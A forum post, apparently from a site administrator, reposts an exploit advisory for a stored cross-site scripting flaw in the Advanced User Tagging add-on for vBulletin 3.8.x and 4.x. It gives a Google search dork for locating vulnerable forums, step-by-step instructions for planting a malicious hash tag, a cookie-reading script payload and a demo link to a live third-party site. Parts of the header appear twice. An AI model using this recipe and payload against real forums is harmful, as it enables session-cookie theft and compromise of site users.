Admin
Well-Known Member
Staff member
Administrator
# Exploit Title: Advanced User Tagging vBulletin -- Stored XSS Vulnerability
# Google Dork: intext:usertag_pro
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Version: vBulletin 3.8.x, vBulletin 4.x.x
# Tested on: Linux & Windows
#
##########################################################################################
#
# Stage 1: Go to -> UserCP -> Hash Tag Subscriptions
# Direct Link:
#
# Stage 2: Add a malicious hash tag.
# Example:
#
##########################################################################################
#
# This was written for educational purpose only. use it at your own risk.
# Author will be not responsible for any damage caused! user assumes all responsibility.
# Intended for authorized web application pentesting only!
Demo:
# Google Dork: intext:usertag_pro
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Version: vBulletin 3.8.x, vBulletin 4.x.x
# Tested on: Linux & Windows
#
##########################################################################################
#
# Stage 1: Go to -> UserCP -> Hash Tag Subscriptions
# Direct Link:
Code:
http://127.0.0.1/[path]/usertag.php?do=profile&action=hashsubscription# Stage 2: Add a malicious hash tag.
# Example:
HTML:
<script>alert(document.cookie)</script>#
##########################################################################################
#
# This was written for educational purpose only. use it at your own risk.
# Author will be not responsible for any damage caused! user assumes all responsibility.
# Intended for authorized web application pentesting only!
Demo:
Code:
http://www.vbiran.ir/usertag.php?do=profile&action=hashsubscription